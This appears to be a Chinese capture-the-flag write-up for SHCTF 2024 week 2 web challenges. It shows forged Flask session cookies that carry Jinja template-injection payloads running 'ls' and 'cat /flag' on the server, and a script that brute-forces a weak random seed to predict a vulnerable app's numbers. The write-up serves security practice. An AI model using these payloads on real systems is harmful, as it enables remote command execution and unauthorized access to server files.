SHCTF-2024-week2-wp
web
[Week2]自助查询
[Week2]登录验证
[Week2]入侵者禁入
python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZvZ8IQ.B9Q1a7gFQvzs4Q3bGldXuiGHULg" -s "0day_joker"
python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls").read()}}', 'is_admin': 1}}"
python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls /").read()}}', 'is_admin': 1}}"
python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("cat /flag").read()}}', 'is_admin': 1}}"
[Week2]guess_the_number
import flask
import random
from flask import Flask, request, render_template, send_file
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html', first_num = first_num)
@app.route('/s0urce')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)
@app.route('/first')
def get_first_number():
return str(first_num)
@app.route('/guess')
def verify_seed():
num = request.args.get('num')
if num == str(second_num):
with open("/flag", "r") as file:
return file.read()
return "nonono"
def init():
global seed, first_num, second_num
seed = random.randint(1000000,9999999)
random.seed(seed)
first_num = random.randint(1000000000,9999999999)
second_num = random.randint(1000000000,9999999999)
init()
app.run(debug=True)
在伪随机数生成器(PRNG)中,一个种子并不只生成一个随机数。相反,它生成的是一个伪随机数序列。每次调用 random.randint()
或其他类似方法时,伪随机数生成器会根据当前的内部状态生成下一个随机数。因此,给定相同的种子,可以生成一系列相同的随机数
import random
# 已知的 first_num
known_first_num = 6296819177
# 定义种子的范围
seed_min = 1000000
seed_max = 9999999
def find_seed(known_first_num, seed_min, seed_max):
for seed in range(seed_min, seed_max + 1):
# 用当前种子设置随机数生成器
random.seed(seed)
# 生成一个随机数
first_num = random.randint(1000000000, 9999999999)
# 检查生成的随机数是否与已知的相同
if first_num == known_first_num:
print(f"找到了种子: {seed}")
return seed
print("未找到匹配的种子")
return None
# 调用函数查找种子
found_seed = find_seed(known_first_num, seed_min, seed_max)